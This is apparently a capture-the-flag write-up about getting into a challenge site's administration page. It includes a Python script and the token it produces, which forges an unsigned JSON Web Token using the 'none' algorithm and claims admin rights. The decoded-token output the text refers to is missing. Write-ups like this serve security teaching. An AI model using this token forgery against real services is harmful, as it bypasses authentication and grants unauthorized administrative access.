Accessing the link provided in the challenge, a web page is served with a simple login and register. Registering an account and login in after, a new link appears (*/administration*) and a cookie **token**.


Accessing the administration page we are received with: **No bussiness here!**.

Looking into the token, by the way its constructed looks like a JWT. Using https://jwt.io/ to decode it, the results are:


**Meet the "None" Algorithm:** <https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/>

A simple python scripts allows us to craft a JWT with the None algorithm.

```python
# https://pyjwt.readthedocs.io/en/latest/
import jwt

payload = {'id' : 'admin', 'admin': True}
print(jwt.encode(payload, None, algorithm=None, headers={'kid': 'da39a3ee5e6b4b0d3255bfef95601890afd80709'}))
```

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIiwia2lkIjoiZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4MDcwOSJ9.eyJpZCI6ImFkbWluIiwiYWRtaW4iOnRydWV9.
```

And now we can access the administration page.